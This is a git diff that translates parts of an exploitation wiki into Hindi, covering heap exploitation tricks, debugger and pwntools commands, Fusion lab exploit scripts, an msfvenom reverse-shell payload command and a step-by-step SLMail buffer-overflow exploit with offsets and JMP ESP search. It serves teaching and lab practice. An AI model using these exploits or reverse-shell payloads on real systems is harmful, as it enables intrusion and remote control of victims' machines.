bk mediante el overflow para que apunte a la dirección que queramos sobreescribir. +एक बार जब यह अपने बिन में होता है, तो यह ओवरफ्लो के माध्यम से bk पॉइंटर को संशोधित करने का समय होता है ताकि यह उस पते की ओर इशारा करे जिसे हम ओवरराइट करना चाहते हैं। -Así el bin deberá esperar turno a que se llame a malloc() suficientes veces como para que se vuelva a utilizar el bin modificado y engañe a bin haciéndole creer que el siguiente trozo está en la dirección falsa. Y a continuación se dará el trozo que nos interesa. +इस प्रकार, बिन को पर्याप्त बार malloc() को कॉल करने की प्रतीक्षा करनी होगी ताकि संशोधित बिन का पुनः उपयोग किया जा सके और बिन को यह विश्वास दिलाया जा सके कि अगला टुकड़ा झूठे पते पर है। और फिर हमें वह टुकड़ा दिया जाएगा जो हमें दिलचस्पी है। -Para que se ejecute la vulnerabilidad lo antes posible lo ideal sería: Reserva del trozo vulnerable, reserva del trozo que se modificará, se libera este trozo, se reserva un trozo más grande al que se modificará, se modifica el trozo (vulnerabilidad), se reserva un trozo de igual tamaño al vulnerado y se reserva un segundo trozo de igual tamaño y este será el que apunte a la dirección elegida. +संवेदनशीलता को यथाशीघ्र निष्पादित करने के लिए, आदर्श रूप से: संवेदनशील टुकड़े का आरक्षण, संशोधित टुकड़े का आरक्षण, इस टुकड़े को मुक्त करना, एक बड़े टुकड़े का आरक्षण जिसे संशोधित किया जाएगा, टुकड़े को संशोधित करना (संवेदनशीलता), संवेदनशील टुकड़े के समान आकार का एक टुकड़ा आरक्षित करना और एक समान आकार का दूसरा टुकड़ा आरक्षित करना होगा, और यह वह होगा जो चुने गए पते की ओर इशारा करेगा। -Para proteger este ataque se uso la típica comprobación de que el trozo “no” es falso: se comprueba si bck->fd está apuntando a victim. Es decir, en nuestro caso si el puntero fd\* del trozo falso apuntado en el stack está apuntando a victim. Para sobrepasar esta protección el atacante debería ser capaz de escribir de alguna forma (por el stack probablemente) en la dirección adecuada la dirección de victim. Para que así parezca un trozo verdadero. +इस हमले की रक्षा के लिए, यह सामान्य जांच का उपयोग किया गया कि टुकड़ा “झूठा” नहीं है: यह जांचता है कि क्या bck->fd victim की ओर इशारा कर रहा है। अर्थात्, हमारे मामले में यदि झूठे टुकड़े का fd* पॉइंटर स्टैक में victim की ओर इशारा कर रहा है। इस सुरक्षा को बायपास करने के लिए, हमलावर को किसी न किसी तरह (संभवतः स्टैक के माध्यम से) सही पते पर victim का पता लिखने में सक्षम होना चाहिए। ताकि यह एक वास्तविक टुकड़ा प्रतीत हो। -**Corrupción LargeBin** +**LargeBin का भ्रष्टाचार** -Se necesitan los mismos requisitos que antes y alguno más, además los trozos reservados deben ser mayores a 512. +पहले की तरह ही आवश्यकताएँ हैं और कुछ और, इसके अलावा, आरक्षित टुकड़े 512 से बड़े होने चाहिए। -El ataque es como el anterior, es decir, ha que modificar el puntero bk y se necesitan todas esas llamadas a malloc(), pero además hay que modificar el size del trozo modificado de forma que ese size - nb sea < MINSIZE. +हमला पिछले जैसा ही है, अर्थात्, bk पॉइंटर को संशोधित करना आवश्यक है और सभी malloc() कॉल की आवश्यकता है, लेकिन इसके अलावा, संशोधित टुकड़े के आकार को इस प्रकार संशोधित करना होगा कि वह size - nb < MINSIZE हो। -Por ejemplo hará que poner en size 1552 para que 1552 - 1544 = 8 < MINSIZE (la resta no puede quedar negativa porque se compara un unsigned) +उदाहरण के लिए, size को 1552 में डालने से 1552 - 1544 = 8 < MINSIZE होगा (घटाव नकारात्मक नहीं हो सकता क्योंकि unsigned की तुलना की जाती है)। -Además se ha introducido un parche para hacerlo aún más complicado. +इसके अलावा, इसे और अधिक जटिल बनाने के लिए एक पैच लागू किया गया है। -**Heap Spraying** +**हीप स्प्रेइंग** -Básicamente consiste en reservar tooda la memoria posible para heaps y rellenar estos con un colchón de nops acabados por una shellcode. Además, como colchón se utiliza 0x0c. Pues se intentará saltar a la dirección 0x0c0c0c0c, y así si se sobreescribe alguna dirección a la que se vaya a llamar con este colchón se saltará allí. Básicamente la táctica es reservar lo máximos posible para ver si se sobreescribe algún puntero y saltar a 0x0c0c0c0c esperando que allí haya nops. +यह मूल रूप से सभी संभव मेमोरी को आरक्षित करने और इसे शेलकोड के साथ समाप्त नोप्स के गद्दे से भरने में शामिल है। इसके अलावा, गद्दे के रूप में 0x0c का उपयोग किया जाता है। क्योंकि यह 0x0c0c0c0c के पते पर कूदने का प्रयास करेगा, और इस प्रकार यदि किसी पते को ओवरराइट किया जाता है जिसे कॉल किया जाएगा, तो यह वहां कूद जाएगा। मूल रूप से रणनीति यह है कि अधिकतम संभव आरक्षित करें ताकि यह देखा जा सके कि क्या कोई पॉइंटर ओवरराइट किया गया है और 0x0c0c0c0c पर कूदें, यह उम्मीद करते हुए कि वहां नोप्स हैं। -**Heap Feng Shui** +**हीप फेंग शुई** -Consiste en mediante reservas y liberaciones sementar la memoria de forma que queden trozos reservados entre medias de trozos libres. El buffer a desbordar se situará en uno de los huevos. +यह आरक्षण और मुक्तियों के माध्यम से मेमोरी को इस तरह से बिछाने में शामिल है कि मुक्त टुकड़ों के बीच आरक्षित टुकड़े हों। ओवरफ्लो करने वाला बफर एक अंडे में स्थित होगा। -**objdump -d ejecutable** —> Disas functions\ -**objdump -d ./PROGRAMA | grep FUNCION** —> Get function address\ -**objdump -d -Mintel ./shellcodeout** —> Para ver que efectivamente es nuestra shellcode y sacar los OpCodes\ -**objdump -t ./exec | grep varBss** —> Tabla de símbolos, para sacar address de variables y funciones\ -**objdump -TR ./exec | grep exit(func lib)** —> Para sacar address de funciones de librerías (GOT)\ +**objdump -d ejecutable** —> फ़ंक्शंस को डिसएस\ +**objdump -d ./PROGRAMA | grep FUNCION** —> फ़ंक्शन का पता प्राप्त करें\ +**objdump -d -Mintel ./shellcodeout** —> यह देखने के लिए कि यह वास्तव में हमारी शेलकोड है और ऑपकोड निकालें\ +**objdump -t ./exec | grep varBss** —> प्रतीक तालिका, वेरिएबल और फ़ंक्शंस के पते निकालने के लिए\ +**objdump -TR ./exec | grep exit(func lib)** —> पुस्तकालय फ़ंक्शंस के पते निकालने के लिए (GOT)\ **objdump -d ./exec | grep funcCode**\ **objdump -s -j .dtors /exec**\ **objdump -s -j .got ./exec**\ -**objdump -t --dynamic-relo ./exec | grep puts** —> Saca la dirección de puts a sobreescribir en le GOT\ -**objdump -D ./exec** —> Disas ALL hasta las entradas de la plt\ +**objdump -t --dynamic-relo ./exec | grep puts** —> GOT में ओवरराइट करने के लिए puts का पता निकालें\ +**objdump -D ./exec** —> सभी को डिसएस करें जब तक कि plt के प्रवेश न हों\ **objdump -p -/exec**\ -**Info functions strncmp —>** Info de la función en gdb +**Info functions strncmp —>** gdb में फ़ंक्शन की जानकारी -## Interesting courses +## दिलचस्प पाठ्यक्रम - [https://guyinatuxedo.github.io/](https://guyinatuxedo.github.io) - [https://github.com/RPISEC/MBE](https://github.com/RPISEC/MBE) - [https://ir0nstone.gitbook.io/notes](https://ir0nstone.gitbook.io/notes) -## **References** +## **संदर्भ** - [**https://guyinatuxedo.github.io/7.2-mitigation_relro/index.html**](https://guyinatuxedo.github.io/7.2-mitigation_relro/index.html) diff --git a/src/exploiting/linux-exploiting-basic-esp/fusion.md b/src/exploiting/linux-exploiting-basic-esp/fusion.md index 344a72d02..4d75022fa 100644 --- a/src/exploiting/linux-exploiting-basic-esp/fusion.md +++ b/src/exploiting/linux-exploiting-basic-esp/fusion.md @@ -4,9 +4,8 @@ [http://exploit-exercises.lains.space/fusion/level00/](http://exploit-exercises.lains.space/fusion/level00/) -1. Get offset to modify EIP -2. Put shellcode address in EIP - +1. EIP को संशोधित करने के लिए ऑफसेट प्राप्त करें +2. EIP में शेलकोड का पता डालें ```python from pwn import * @@ -32,9 +31,7 @@ r.recvline() r.send(buf) r.interactive() ``` - # Level01 - ```python from pwn import * @@ -60,5 +57,4 @@ buf += "\x65\xd9\x0f\x01" r.send(buf) r.interactive() ``` - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/exploiting/tools/README.md b/src/exploiting/tools/README.md index 0ca40e712..8e345faf5 100644 --- a/src/exploiting/tools/README.md +++ b/src/exploiting/tools/README.md @@ -3,7 +3,6 @@ {{#include ../../banners/hacktricks-training.md}} ## Metasploit - ``` pattern_create.rb -l 3000 #Length pattern_offset.rb -l 3000 -q 5f97d534 #Search offset @@ -11,31 +10,23 @@ nasm_shell.rb nasm> jmp esp #Get opcodes msfelfscan -j esi /opt/fusion/bin/level01 ``` - -### Shellcodes - +### शेलकोड्स ``` msfvenom /p windows/shell_reverse_tcp LHOST= LPORT= [EXITFUNC=thread] [-e x86/shikata_ga_nai] -b "\x00\x0a\x0d" -f c ``` - ## GDB -### Install - +### स्थापित करें ``` apt-get install gdb ``` - -### Parameters - +### पैरामीटर ```bash -q # No show banner -x # Auto-execute GDB instructions from here -p # Attach to process ``` - -### Instructions - +### निर्देश ```bash run # Execute start # Start and break in main @@ -81,9 +72,7 @@ x/s pointer # String pointed by the pointer x/xw &pointer # Address where the pointer is located x/i $eip # Instructions of the EIP ``` - ### [GEF](https://github.com/hugsy/gef) - ```bash help memory # Get help on memory command canary # Search for canary value in memory @@ -113,34 +102,32 @@ shellcode get 61 #Download shellcode number 61 1- Put a bp after the function that overwrites the RIP and send a ppatern to ovwerwrite it 2- ef➤ i f Stack level 0, frame at 0x7fffffffddd0: - rip = 0x400cd3; saved rip = 0x6261617762616176 - called by frame at 0x7fffffffddd8 - Arglist at 0x7fffffffdcf8, args: - Locals at 0x7fffffffdcf8, Previous frame's sp is 0x7fffffffddd0 - Saved registers: - rbp at 0x7fffffffddc0, rip at 0x7fffffffddc8 +rip = 0x400cd3; saved rip = 0x6261617762616176 +called by frame at 0x7fffffffddd8 +Arglist at 0x7fffffffdcf8, args: +Locals at 0x7fffffffdcf8, Previous frame's sp is 0x7fffffffddd0 +Saved registers: +rbp at 0x7fffffffddc0, rip at 0x7fffffffddc8 gef➤ pattern search 0x6261617762616176 [+] Searching for '0x6261617762616176' [+] Found at offset 184 (little-endian search) likely ``` - ### Tricks -#### GDB same addresses +#### GDB समान पते -While debugging GDB will have **slightly different addresses than the used by the binary when executed.** You can make GDB have the same addresses by doing: +जब आप डिबगिंग कर रहे होते हैं, GDB के पास **बाइनरी द्वारा निष्पादित किए गए पते की तुलना में थोड़ा अलग पते होंगे।** आप GDB को समान पते प्राप्त करने के लिए कर सकते हैं: - `unset env LINES` - `unset env COLUMNS` -- `set env _=` _Put the absolute path to the binary_ -- Exploit the binary using the same absolute route -- `PWD` and `OLDPWD` must be the same when using GDB and when exploiting the binary +- `set env _=` _बाइनरी का पूर्ण पथ डालें_ +- बाइनरी का शोषण करें उसी पूर्ण मार्ग का उपयोग करके +- `PWD` और `OLDPWD` GDB का उपयोग करते समय और बाइनरी का शोषण करते समय समान होना चाहिए -#### Backtrace to find functions called - -When you have a **statically linked binary** all the functions will belong to the binary (and no to external libraries). In this case it will be difficult to **identify the flow that the binary follows to for example ask for user input**.\ -You can easily identify this flow by **running** the binary with **gdb** until you are asked for input. Then, stop it with **CTRL+C** and use the **`bt`** (**backtrace**) command to see the functions called: +#### कार्यों को खोजने के लिए बैकट्रेस +जब आपके पास एक **स्थैतिक रूप से लिंक की गई बाइनरी** होती है, तो सभी कार्य बाइनरी से संबंधित होंगे (और बाहरी पुस्तकालयों से नहीं)। इस मामले में, **उपयोगकर्ता इनपुट के लिए पूछने के लिए बाइनरी द्वारा अनुसरण किए जाने वाले प्रवाह की पहचान करना कठिन होगा।**\ +आप इस प्रवाह की पहचान आसानी से कर सकते हैं **gdb** के साथ बाइनरी को **चलाकर** जब तक कि आप इनपुट के लिए नहीं पूछे जाते। फिर, इसे **CTRL+C** के साथ रोकें और **`bt`** (**बैकट्रेस**) कमांड का उपयोग करें ताकि आप देख सकें कि कौन से कार्य कॉल किए गए हैं: ``` gef➤ bt #0 0x00000000004498ae in ?? () @@ -149,79 +136,74 @@ gef➤ bt #3 0x00000000004011a9 in ?? () #4 0x0000000000400a5a in ?? () ``` +### GDB सर्वर -### GDB server - -`gdbserver --multi 0.0.0.0:23947` (in IDA you have to fill the absolute path of the executable in the Linux machine and in the Windows machine) +`gdbserver --multi 0.0.0.0:23947` (IDA में आपको Linux मशीन में executable का पूर्ण पथ भरना होगा और Windows मशीन में) ## Ghidra -### Find stack offset +### स्टैक ऑफसेट खोजें -**Ghidra** is very useful to find the the **offset** for a **buffer overflow thanks to the information about the position of the local variables.**\ -For example, in the example below, a buffer flow in `local_bc` indicates that you need an offset of `0xbc`. Moreover, if `local_10` is a canary cookie it indicates that to overwrite it from `local_bc` there is an offset of `0xac`.\ -_Remember that the first 0x08 from where the RIP is saved belongs to the RBP._ +**Ghidra** स्थानीय चर की स्थिति के बारे में जानकारी के लिए **बफर ओवरफ्लो के लिए ऑफसेट** खोजने में बहुत उपयोगी है।\ +उदाहरण के लिए, नीचे दिए गए उदाहरण में, `local_bc` में एक बफर प्रवाह इंगित करता है कि आपको `0xbc` का ऑफसेट चाहिए। इसके अलावा, यदि `local_10` एक कैनरी कुकी है, तो यह इंगित करता है कि इसे `local_bc` से ओवरराइट करने के लिए `0xac` का ऑफसेट है।\ +_याद रखें कि RIP जहां सहेजा गया है, वहां से पहले 0x08 RBP का है।_ ![](<../../images/image (616).png>) ## GCC -**gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> Compile without protections\ -**-o** --> Output\ -**-g** --> Save code (GDB will be able to see it)\ -**echo 0 > /proc/sys/kernel/randomize_va_space** --> To deactivate the ASLR in linux +**gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> सुरक्षा के बिना संकलित करें\ +**-o** --> आउटपुट\ +**-g** --> कोड सहेजें (GDB इसे देख सकेगा)\ +**echo 0 > /proc/sys/kernel/randomize_va_space** --> Linux में ASLR को निष्क्रिय करने के लिए -**To compile a shellcode:**\ -**nasm -f elf assembly.asm** --> return a ".o"\ -**ld assembly.o -o shellcodeout** --> Executable +**एक शेलकोड संकलित करने के लिए:**\ +**nasm -f elf assembly.asm** --> एक ".o" लौटाता है\ +**ld assembly.o -o shellcodeout** --> निष्पादन योग्य ## Objdump -**-d** --> **Disassemble executable** sections (see opcodes of a compiled shellcode, find ROP Gadgets, find function address...)\ -**-Mintel** --> **Intel** syntax\ -**-t** --> **Symbols** table\ -**-D** --> **Disassemble all** (address of static variable)\ -**-s -j .dtors** --> dtors section\ -**-s -j .got** --> got section\ -\-D -s -j .plt --> **plt** section **decompiled**\ -**-TR** --> **Relocations**\ -**ojdump -t --dynamic-relo ./exec | grep puts** --> Address of "puts" to modify in GOT\ -**objdump -D ./exec | grep "VAR_NAME"** --> Address or a static variable (those are stored in DATA section). +**-d** --> **निष्पादन योग्य** अनुभागों को असेंबल करें (संकलित शेलकोड के ऑपकोड देखें, ROP गैजेट्स खोजें, फ़ंक्शन का पता लगाएं...)\ +**-Mintel** --> **इंटेल** सिंटैक्स\ +**-t** --> **सिंबल्स** तालिका\ +**-D** --> **सभी को असेंबल करें** (स्थिर चर का पता)\ +**-s -j .dtors** --> dtors अनुभाग\ +**-s -j .got** --> got अनुभाग\ +\-D -s -j .plt --> **plt** अनुभाग **डीकंपाइल**\ +**-TR** --> **रिलोकेशन**\ +**ojdump -t --dynamic-relo ./exec | grep puts** --> GOT में संशोधन के लिए "puts" का पता\ +**objdump -D ./exec | grep "VAR_NAME"** --> एक स्थिर चर का पता (ये DATA अनुभाग में संग्रहीत होते हैं)। -## Core dumps +## कोर डंप -1. Run `ulimit -c unlimited` before starting my program -2. Run `sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t` +1. अपने प्रोग्राम को शुरू करने से पहले `ulimit -c unlimited` चलाएं +2. `sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t` चलाएं 3. sudo gdb --core=\ --quiet -## More +## अधिक -**ldd executable | grep libc.so.6** --> Address (if ASLR, then this change every time)\ -**for i in \`seq 0 20\`; do ldd \ | grep libc; done** --> Loop to see if the address changes a lot\ -**readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system** --> Offset of "system"\ -**strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh** --> Offset of "/bin/sh" +**ldd executable | grep libc.so.6** --> पता (यदि ASLR है, तो यह हर बार बदलता है)\ +**for i in \`seq 0 20\`; do ldd \ | grep libc; done** --> यह देखने के लिए लूप कि क्या पता बहुत बदलता है\ +**readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system** --> "system" का ऑफसेट\ +**strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh** --> "/bin/sh" का ऑफसेट -**strace executable** --> Functions called by the executable\ -**rabin2 -i ejecutable -->** Address of all the functions - -## **Inmunity debugger** +**strace executable** --> निष्पादन योग्य द्वारा कॉल की गई फ़ंक्शन\ +**rabin2 -i ejecutable -->** सभी फ़ंक्शनों का पता +## **Inmunity डिबगर** ```bash !mona modules #Get protections, look for all false except last one (Dll of SO) !mona find -s "\xff\xe4" -m name_unsecure.dll #Search for opcodes insie dll space (JMP ESP) ``` - ## IDA -### Debugging in remote linux - -Inside the IDA folder you can find binaries that can be used to debug a binary inside a linux. To do so move the binary _linux_server_ or _linux_server64_ inside the linux server and run it nside the folder that contains the binary: +### दूरस्थ लिनक्स में डिबगिंग +IDA फ़ोल्डर के अंदर आप बाइनरी पा सकते हैं जिन्हें लिनक्स के अंदर एक बाइनरी को डिबग करने के लिए उपयोग किया जा सकता है। ऐसा करने के लिए बाइनरी _linux_server_ या _linux_server64_ को लिनक्स सर्वर के अंदर ले जाएं और उस फ़ोल्डर के अंदर चलाएं जिसमें बाइनरी है: ``` ./linux_server64 -Ppass ``` - -Then, configure the debugger: Debugger (linux remote) --> Proccess options...: +फिर, डिबगर को कॉन्फ़िगर करें: Debugger (linux remote) --> Proccess options...: ![](<../../images/image (101).png>) diff --git a/src/exploiting/tools/pwntools.md b/src/exploiting/tools/pwntools.md index a7c0aa204..5b782f21c 100644 --- a/src/exploiting/tools/pwntools.md +++ b/src/exploiting/tools/pwntools.md @@ -1,118 +1,98 @@ {{#include ../../banners/hacktricks-training.md}} - ``` pip3 install pwntools ``` - # Pwn asm -Get opcodes from line or file. - +लाइन या फ़ाइल से ऑपकोड प्राप्त करें। ``` pwn asm "jmp esp" pwn asm -i ``` +**चुन सकते हैं:** -**Can select:** +- आउटपुट प्रकार (raw, hex, string, elf) +- आउटपुट फ़ाइल संदर्भ (16, 32, 64, linux, windows...) +- बाइट्स से बचें (नए पंक्तियाँ, null, एक सूची) +- gdb का उपयोग करके डिबग शेलकोड एन्कोडर का चयन करें, आउटपुट चलाएँ -- output type (raw,hex,string,elf) -- output file context (16,32,64,linux,windows...) -- avoid bytes (new lines, null, a list) -- select encoder debug shellcode using gdb run the output - -# **Pwn checksec** - -Checksec script +# **Pwn चेकसेक** +Checksec स्क्रिप्ट ``` pwn checksec ``` - # Pwn constgrep # Pwn cyclic -Get a pattern - +एक पैटर्न प्राप्त करें ``` pwn cyclic 3000 pwn cyclic -l faad ``` +**चुन सकते हैं:** -**Can select:** +- उपयोग किया गया वर्णमाला (डिफ़ॉल्ट रूप से छोटे अक्षर) +- अद्वितीय पैटर्न की लंबाई (डिफ़ॉल्ट 4) +- संदर्भ (16,32,64,linux,windows...) +- ऑफसेट लें (-l) -- The used alphabet (lowercase chars by default) -- Length of uniq pattern (default 4) -- context (16,32,64,linux,windows...) -- Take the offset (-l) - -# Pwn debug - -Attach GDB to a process +# Pwn डिबग +एक प्रक्रिया से GDB को संलग्न करें ``` pwn debug --exec /bin/bash pwn debug --pid 1234 pwn debug --process bash ``` +**चुन सकते हैं:** -**Can select:** - -- By executable, by name or by pid context (16,32,64,linux,windows...) -- gdbscript to execute +- निष्पादन योग्य, नाम या pid संदर्भ द्वारा (16,32,64,linux,windows...) +- निष्पादित करने के लिए gdbscript - sysrootpath # Pwn disablenx -Disable nx of a binary - +एक बाइनरी का nx बंद करें ``` pwn disablenx ``` - # Pwn disasm -Disas hex opcodes - +डिसास हेक्स ऑपकोड्स ``` pwn disasm ffe4 ``` +**चुन सकते हैं:** -**Can select:** - -- context (16,32,64,linux,windows...) -- base addres -- color(default)/no color +- संदर्भ (16,32,64,linux,windows...) +- आधार पता +- रंग (डिफ़ॉल्ट)/कोई रंग नहीं # Pwn elfdiff -Print differences between 2 fiels - +2 फ़ाइलों के बीच के अंतर प्रिंट करें ``` pwn elfdiff ``` - # Pwn hex -Get hexadecimal representation - +हेक्साडेसिमल प्रतिनिधित्व प्राप्त करें ```bash pwn hex hola #Get hex of "hola" ascii ``` - # Pwn phd -Get hexdump - +हेक्सडंप प्राप्त करें ``` pwn phd ``` +**चुन सकते हैं:** -**Can select:** - -- Number of bytes to show -- Number of bytes per line highlight byte -- Skip bytes at beginning +- दिखाने के लिए बाइट्स की संख्या +- हाइलाइट बाइट प्रति पंक्ति बाइट्स की संख्या +- शुरुआत में बाइट्स छोड़ें # Pwn pwnstrip @@ -120,8 +100,7 @@ pwn phd # Pwn shellcraft -Get shellcodes - +शेलकोड प्राप्त करें ``` pwn shellcraft -l #List shellcodes pwn shellcraft -l amd #Shellcode with amd in the name @@ -129,46 +108,39 @@ pwn shellcraft -f hex amd64.linux.sh #Create in C and run pwn shellcraft -r amd64.linux.sh #Run to test. Get shell pwn shellcraft .r amd64.linux.bindsh 9095 #Bind SH to port ``` +**चुन सकते हैं:** -**Can select:** +- शेलकोड और शेलकोड के लिए तर्क +- आउट फ़ाइल +- आउटपुट प्रारूप +- डिबग (शेलकोड में dbg संलग्न करें) +- पहले (कोड से पहले डिबग ट्रैप) +- बाद में +- ऑपकोड का उपयोग करने से बचें (डिफ़ॉल्ट: नल और नई पंक्ति) +- शेलकोड चलाएँ +- रंग/बिना रंग +- सिस्टम कॉल की सूची +- संभावित शेलकोड की सूची +- साझा पुस्तकालय के रूप में ELF उत्पन्न करें -- shellcode and arguments for the shellcode -- Out file -- output format -- debug (attach dbg to shellcode) -- before (debug trap before code) -- after -- avoid using opcodes (default: not null and new line) -- Run the shellcode -- Color/no color -- list syscalls -- list possible shellcodes -- Generate ELF as a shared library - -# Pwn template - -Get a python template +# Pwn टेम्पलेट +एक पायथन टेम्पलेट प्राप्त करें ``` pwn template ``` - -**Can select:** host, port, user, pass, path and quiet +**चुन सकते हैं:** होस्ट, पोर्ट, उपयोगकर्ता, पास, पथ और चुप # Pwn unhex -From hex to string - +हेक्स से स्ट्रिंग में ``` pwn unhex 686f6c61 ``` +# Pwn अपडेट -# Pwn update - -To update pwntools - +pwntools को अपडेट करने के लिए ``` pwn update ``` - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/exploiting/windows-exploiting-basic-guide-oscp-lvl.md b/src/exploiting/windows-exploiting-basic-guide-oscp-lvl.md index 1f8119bb8..4dd85e0a8 100644 --- a/src/exploiting/windows-exploiting-basic-guide-oscp-lvl.md +++ b/src/exploiting/windows-exploiting-basic-guide-oscp-lvl.md @@ -2,20 +2,17 @@ {{#include ../banners/hacktricks-training.md}} -## **Start installing the SLMail service** +## **SLMail सेवा स्थापित करना शुरू करें** -## Restart SLMail service - -Every time you need to **restart the service SLMail** you can do it using the windows console: +## SLMail सेवा को पुनः प्रारंभ करें +जब भी आपको **SLMail सेवा को पुनः प्रारंभ** करने की आवश्यकता हो, आप इसे विंडोज कंसोल का उपयोग करके कर सकते हैं: ``` net start slmail ``` - ![](<../images/image (23) (1).png>) -## Very basic python exploit template - +## बहुत बुनियादी पायथन एक्सप्लॉइट टेम्पलेट ```python #!/usr/bin/python @@ -27,99 +24,89 @@ port = 110 buffer = 'A' * 2700 try: - print "\nLaunching exploit..." - s.connect((ip, port)) - data = s.recv(1024) - s.send('USER username' +'\r\n') - data = s.recv(1024) - s.send('PASS ' + buffer + '\r\n') - print "\nFinished!." +print "\nLaunching exploit..." +s.connect((ip, port)) +data = s.recv(1024) +s.send('USER username' +'\r\n') +data = s.recv(1024) +s.send('PASS ' + buffer + '\r\n') +print "\nFinished!." except: - print "Could not connect to "+ip+":"+port +print "Could not connect to "+ip+":"+port ``` +## **इम्युनिटी डिबगर फ़ॉन्ट बदलें** -## **Change Immunity Debugger Font** +जाएँ `Options >> Appearance >> Fonts >> Change(Consolas, Blod, 9) >> OK` -Go to `Options >> Appearance >> Fonts >> Change(Consolas, Blod, 9) >> OK` - -## **Attach the proces to Immunity Debugger:** +## **इम्युनिटी डिबगर से प्रक्रिया को संलग्न करें:** **File --> Attach** ![](<../images/image (24) (1) (1).png>) -**And press START button** +**और START बटन दबाएँ** -## **Send the exploit and check if EIP is affected:** +## **एक्सप्लॉइट भेजें और जांचें कि क्या EIP प्रभावित है:** ![](<../images/image (25) (1) (1).png>) -Every time you break the service you should restart it as is indicated in the beginnig of this page. +जब भी आप सेवा को तोड़ते हैं, तो आपको इसे फिर से शुरू करना चाहिए जैसा कि इस पृष्ठ की शुरुआत में संकेतित है। -## Create a pattern to modify the EIP +## EIP को संशोधित करने के लिए एक पैटर्न बनाएं -The pattern should be as big as the buffer you used to broke the service previously. +पैटर्न उतना बड़ा होना चाहिए जितना कि बफ़र जिसे आपने पहले सेवा को तोड़ने के लिए उपयोग किया था। ![](<../images/image (26) (1) (1).png>) - ``` /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000 ``` +बफर को बदलें और पैटर्न सेट करें और एक्सप्लॉइट लॉन्च करें। -Change the buffer of the exploit and set the pattern and lauch the exploit. - -A new crash should appeard, but with a different EIP address: +एक नया क्रैश दिखाई देना चाहिए, लेकिन एक अलग EIP पते के साथ: ![](<../images/image (27) (1) (1).png>) -Check if the address was in your pattern: +जांचें कि क्या पता आपके पैटर्न में था: ![](<../images/image (28) (1) (1).png>) - ``` /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 3000 -q 39694438 ``` +ऐसा लगता है कि **हम बफर के ऑफसेट 2606 में EIP को संशोधित कर सकते हैं।** -Looks like **we can modify the EIP in offset 2606** of the buffer. - -Check it modifing the buffer of the exploit: - +एक्सप्लॉइट के बफर को संशोधित करके इसे जांचें: ``` buffer = 'A'*2606 + 'BBBB' + 'CCCC' ``` - -With this buffer the EIP crashed should point to 42424242 ("BBBB") +इस बफर के साथ EIP क्रैश 42424242 ("BBBB") की ओर इशारा करना चाहिए। ![](<../images/image (30) (1) (1).png>) ![](<../images/image (29) (1) (1).png>) -Looks like it is working. +लगता है कि यह काम कर रहा है। -## Check for Shellcode space inside the stack +## स्टैक के अंदर Shellcode स्थान की जांच करें -600B should be enough for any powerfull shellcode. - -Lets change the bufer: +600B किसी भी शक्तिशाली shellcode के लिए पर्याप्त होना चाहिए। +आइए बफर को बदलते हैं: ``` buffer = 'A'*2606 + 'BBBB' + 'C'*600 ``` - -launch the new exploit and check the EBP and the length of the usefull shellcode +नए एक्सप्लॉइट को लॉन्च करें और EBP और उपयोगी शेलकोड की लंबाई की जांच करें ![](<../images/image (31) (1).png>) ![](<../images/image (32) (1).png>) -You can see that when the vulnerability is reached, the EBP is pointing to the shellcode and that we have a lot of space to locate a shellcode here. +आप देख सकते हैं कि जब भेद्यता तक पहुंचा जाता है, तो EBP शेलकोड की ओर इशारा कर रहा है और हमारे पास यहां शेलकोड को रखने के लिए बहुत जगह है। -In this case we have **from 0x0209A128 to 0x0209A2D6 = 430B.** Enough. +इस मामले में हमारे पास **0x0209A128 से 0x0209A2D6 = 430B.** पर्याप्त है। -## Check for bad chars - -Change again the buffer: +## खराब वर्णों की जांच करें +फिर से बफर बदलें: ``` badchars = ( "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10" @@ -141,30 +128,27 @@ badchars = ( ) buffer = 'A'*2606 + 'BBBB' + badchars ``` +बदचर 0x01 से शुरू होता है क्योंकि 0x00 लगभग हमेशा खराब होता है। -The badchars starts in 0x01 because 0x00 is almost always bad. +इस नए बफर के साथ बार-बार एक्सप्लॉइट को निष्पादित करें, उन अक्षरों को हटाते हुए जो बेकार पाए जाते हैं: -Execute repeatedly the exploit with this new buffer delenting the chars that are found to be useless:. +उदाहरण के लिए: -For example: - -In this case you can see that **you shouldn't use the char 0x0A** (nothing is saved in memory since the char 0x09). +इस मामले में आप देख सकते हैं कि **आपको अक्षर 0x0A का उपयोग नहीं करना चाहिए** (कुछ भी मेमोरी में सहेजा नहीं गया क्योंकि अक्षर 0x09 है)। ![](<../images/image (33) (1).png>) -In this case you can see that **the char 0x0D is avoided**: +इस मामले में आप देख सकते हैं कि **अक्षर 0x0D से बचा जाता है**: ![](<../images/image (34) (1).png>) -## Find a JMP ESP as a return address - -Using: +## एक JMP ESP को रिटर्न पते के रूप में खोजें +उपयोग करते हुए: ``` !mona modules #Get protections, look for all false except last one (Dll of SO) ``` - -You will **list the memory maps**. Search for some DLl that has: +आप **मेमोरी मैप्स** की **सूची** बनाएंगे। कुछ DLl खोजें जिनमें: - **Rebase: False** - **SafeSEH: False** @@ -174,30 +158,25 @@ You will **list the memory maps**. Search for some DLl that has: ![](<../images/image (35) (1).png>) -Now, inside this memory you should find some JMP ESP bytes, to do that execute: - +अब, इस मेमोरी के अंदर आपको कुछ JMP ESP बाइट्स मिलनी चाहिए, ऐसा करने के लिए निष्पादित करें: ``` !mona find -s "\xff\xe4" -m name_unsecure.dll # Search for opcodes insie dll space (JMP ESP) !mona find -s "\xff\xe4" -m slmfc.dll # Example in this case ``` - -**Then, if some address is found, choose one that don't contain any badchar:** +**फिर, यदि कोई पता पाया जाता है, तो एक ऐसा चुनें जिसमें कोई बुरा चर न हो:** ![](<../images/image (36) (1).png>) -**In this case, for example: \_0x5f4a358f**\_ - 